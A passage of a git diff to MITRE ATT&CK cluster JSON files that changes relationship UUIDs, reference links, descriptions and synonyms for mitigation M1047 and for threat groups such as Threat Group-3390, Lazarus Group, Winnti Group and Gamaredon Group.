"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847", "tags": [ @@ -14501,13 +14491,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", "tags": [ @@ -15562,13 +15545,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c071d8c1-3b3a-4f22-9407-ca4e96921069", "tags": [ @@ -15798,41 +15774,6 @@ ] }, "related": [ - { - "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", "tags": [ @@ -15841,42 +15782,7 @@ "type": "mitigates" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15888,6 +15794,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c", @@ -16028,13 +15941,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", "tags": [ @@ -16077,13 +15983,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "379809f6-2fac-42c1-bd2e-e9dee70b27f8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", "tags": [ @@ -16140,13 +16039,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "56e0d8b8-3e25-49dd-9050-3aa252f5aa92", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", "tags": [ @@ -16189,6 +16081,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ @@ -16453,5 +16352,5 @@ "value": "Audit - M1047" } ], - "version": 23 + "version": 24 } diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json index 8af8f8e..bff3792 100644 --- a/clusters/mitre-intrusion-set.json +++ b/clusters/mitre-intrusion-set.json @@ -172,24 +172,21 @@ "value": "The White Company - G0089" }, { - "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)", "meta": { "external_id": "G0027", "refs": [ "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/", "https://attack.mitre.org/groups/G0027", - "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "https://securelist.com/luckymouse-hits-national-data-center/86083/", "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html", "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "https://www.secureworks.com/research/bronze-union", - "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" + "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" ], "synonyms": [ "Threat Group-3390", - "Earth Smilodon", "TG-3390", "Emissary Panda", "BRONZE UNION", @@ -213,20 +210,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03acae53-9b98-46f6-b204-16b930839055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ @@ -234,13 +217,6 @@ ], "type": "uses" }, - { - "dest-uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", "tags": [ @@ -276,13 +252,6 @@ ], "type": "uses" }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "242f3da3-4425-4d11-8f5c-b842886da966", "tags": [ @@ -318,20 +287,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ @@ -346,13 +301,6 @@ ], "type": "uses" }, - { - "dest-uuid": "315f51f0-6b03-4c1e-bfb2-84740afb8e21", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", "tags": [ @@ -381,20 +329,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ @@ -402,13 +336,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4664b683-f578-434f-919b-1c1aad2a1111", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ @@ -479,13 +406,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6e95feb1-78ee-48d3-b421-4d76663b5c49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": 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], - "type": "uses" - }, { "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", "tags": [ @@ -633,13 +532,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ @@ -647,20 +539,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c009560a-f097-45a3-8f9f-78ec1440a783", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ @@ -703,13 +581,6 @@ ], "type": "uses" }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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- "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "Dust Storm" @@ -3160,7 +3409,6 @@ "meta": { "external_id": "G0032", "refs": [ - "https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/", "https://attack.mitre.org/groups/G0032", "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/", "https://home.treasury.gov/news/press-releases/sm774", @@ -3171,7 +3419,6 @@ ], "synonyms": [ "Lazarus Group", - "Labyrinth Chollima", "HIDDEN COBRA", "Guardians of Peace", "ZINC", @@ -3179,13 +3426,6 @@ ] }, "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": 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"69f897fd-12a9-4c89-ad6a-46d2f3c38262", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -3627,13 +3720,6 @@ ], "type": "uses" }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "tags": [ @@ -3648,20 +3734,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7f4bbe05-1674-4087-8a16-8f1ad61b6152", "tags": [ @@ -3669,20 +3741,6 @@ ], "type": "uses" }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "tags": [ @@ -3711,20 +3769,6 @@ ], "type": "uses" }, - { - "dest-uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", "tags": [ @@ -3746,13 +3790,6 @@ ], "type": "uses" }, - { - "dest-uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -3775,28 +3812,7 @@ "type": "uses" }, { - "dest-uuid": "a1dd2dbd-1550-44bf-abcc-1a4c52e97719", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3816,13 +3832,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", "tags": [ @@ -3830,13 +3839,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b1ccd744-3f78-4a0e-9bb2-2002057f7928", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -3844,20 +3846,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bd0536d7-b081-43ae-a773-cfb057c5b988", "tags": [ @@ -3865,20 +3853,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ @@ -3886,27 +3860,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ @@ -3928,13 +3881,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cc723aff-ec88-40e3-a224-5af9fd983cc4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -3963,20 +3909,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -3984,20 +3916,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e196b5c5-8118-4a1c-ab8a-936586ce3db5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2d34c63-6f5a-41f5-86a2-e2380f27f858", "tags": [ @@ -4005,20 +3923,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -4026,13 +3930,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e7cbc1de-1f79-48ee-abfd-da1241c65a15", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e928333f-f3df-4039-9b8b-556c2add0e42", "tags": [ @@ -4047,13 +3944,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ @@ -4061,13 +3951,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", "tags": [ @@ -4089,20 +3972,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f8774023-8021-4ece-9aca-383ac89d2759", "tags": [ @@ -4117,13 +3986,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", "tags": [ @@ -4547,20 +4409,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2eaa5319-5e1e-4dd7-bbc4-566fced3964a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "308b3d68-a084-4dfb-885a-3125e1a9c1e8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3249e92a-870b-426d-8790-ba311c1abfb4", "tags": [ @@ -4757,13 +4605,6 @@ ], "type": "uses" }, - { - "dest-uuid": "810d8072-afb6-4a56-9ee7-86379ac4a6f3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -4841,13 +4682,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b350b47f-88fe-4921-8538-6d9c59bac84e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -5164,7 +4998,7 @@ "value": "Stealth Falcon - G0038" }, { - "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG Winnti Umbrella May 2018)", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)", "meta": { "external_id": "G0044", "refs": [ @@ -5195,27 +5029,6 @@ ], "type": "uses" }, - { - "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8393dac0-0583-456a-9372-fd81691bca20", "tags": [ @@ -5243,41 +5056,23 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "value": "Winnti Group - G0044" }, { - "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\n\nIn November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", "meta": { "external_id": "G0047", "refs": [ "https://attack.mitre.org/groups/G0047", "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", - "https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/", - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", - "https://www.secureworks.com/research/threat-profiles/iron-tilden", "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/" ], "synonyms": [ - "Gamaredon Group", - "IRON TILDEN", - "Primitive Bear", - "ACTINIUM", - "Armageddon", - "Shuckworm", - "DEV-0157" + "Gamaredon Group" ] }, "related": [ @@ -5288,20 +5083,6 @@ ], "type": "uses" }, - { - "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", "tags": [ @@ -5316,13 +5097,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03eb4a05-6a02-43f6-afb7-3c7835501828", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ @@ -5330,13 +5104,6 @@ ], "type": "uses" }, - { - "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "1a77e156-76bc-43f5-bdd7-bd67f30fbbbb", "tags": [ @@ -5351,13 +5118,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -5435,20 +5195,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", "tags": [ @@ -5484,13 +5230,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", "tags": [ @@ -5498,27 +5237,6 @@ ], "type": "uses" }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -5526,13 +5244,6 @@ ], "type": "uses" }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747", "tags": [ @@ -5568,13 +5279,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", "tags": [ @@ 